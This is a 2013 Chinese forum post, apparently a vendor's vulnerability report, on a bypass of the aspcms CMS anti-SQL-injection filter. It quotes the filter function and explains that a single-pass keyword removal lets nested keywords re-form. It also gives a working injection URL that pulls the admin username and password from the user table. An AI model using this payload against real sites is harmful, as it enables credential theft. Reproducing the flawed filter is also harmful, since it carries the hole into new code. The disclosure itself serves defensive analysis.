找回密码
 注册加入

扫一扫,极速登录

QQ登录

只需一步,快速开始

搜索
查看: 1937|回复: 0

湖盟云防火墙详解aspcms防注入研究报告

[复制链接]
发表于 2013-5-10 16:50:48 | 显示全部楼层 |阅读模式
近日,湖盟云防火墙安全专家Viekst检测到aspcms在SQL过滤的时候存在畸形的过滤,通过精心的构造即可绕过其过滤,成功利用可获取管理员的所有信息,危害很大并且影响所有版本。找出问题后,湖盟云防火墙第一时间联系了厂商,并配合对方完成了漏洞的修补。
ASPcms介绍:
ASPcms是完全开源的一套CMS建站系统,主要面向企业进行快速的建造简洁,高效,易用,安全的公司企业网站,一般的开发人员就能够使用本系统以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异的公司企业网站。ASPcms是基于ASP+Access(sql2000)开发的网站内容管理系统,提供了简介类模块,新闻类模块,产品类模块,图片类模块,下载类模块。你在使用过程中可选择任意模块来建设网站。
以下是该漏洞产生的细节部分:
0×1 Aspcms在处理提交的数据都用了filterPara函数过滤,这个函数接着调用了CheckxssPreventSqlin两个函数进行了字符过滤,从字面上可知Checkxss是用来过滤跨站的,而preventSqlin是用来过滤SQL注入语句的。
0×2 我们看下关键的preventSqlin函数 (/inc/AspCms_CommonFun.asp)
Function preventSqlin(content)
dim sqlStr,sqlArray,i,speStr
sqlStr=”<|>|%|%27|’|”|;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr” ‘要过滤的SQL关键词
if isNul(content) then Exit Function
sqlArray=split(sqlStr,”|”) ‘将其分割成数组
for i=lbound(sqlArray) to ubound(sqlArray)
if instr(lcase(content),sqlArray(i))<>0 then
select case sqlArray(i)
case “<”:speStr=”<” case “>”:speStr=”>”
case “‘”,”"”":speStr=”"”
‘case “;”:speStr=”
case else:speStr=”"
end select ‘如果出现了 < > ‘ “ ; 则将其HTML转义
content=replace(content,sqlArray(i),speStr,1,-1,1) ‘如果出现关键字则将其替换为空。
end if
next
preventSqlin=content
End Function
该函数看似是安全的,但是忘了一种情形,那就是用户提交的是类似于SELE(关键字)CT,过滤之后不又是一个关键字吗?这和早些年的ASP防注入的有点像,都是忘了应该循环匹配替换。
0×3 有了上面的分析,可以构造注入的语句了,下面给出测试的EXP
http://localhost/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
图片2.jpg
    湖盟云安全平台(my.hnhack.com):国际知名的网站安全保护、网站性能提升平台 ,通过湖盟云平台分布在世界各地的节点,可以有效提高网站访问量,据统计,使用了湖盟云平台的网站,平均可加速200%以上,网站访问量提高20%。

您需要登录后才可以回帖 登录 | 注册加入  

本版积分规则

Archiver|手机版|小黑屋|Discuz!扩展中心 ( 浙ICP备14042422号-1 )|网站地图QQ机器人

GMT+8, 2024-4-18 16:04 , Processed in 0.155399 second(s), 15 queries , Gzip On, Redis On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表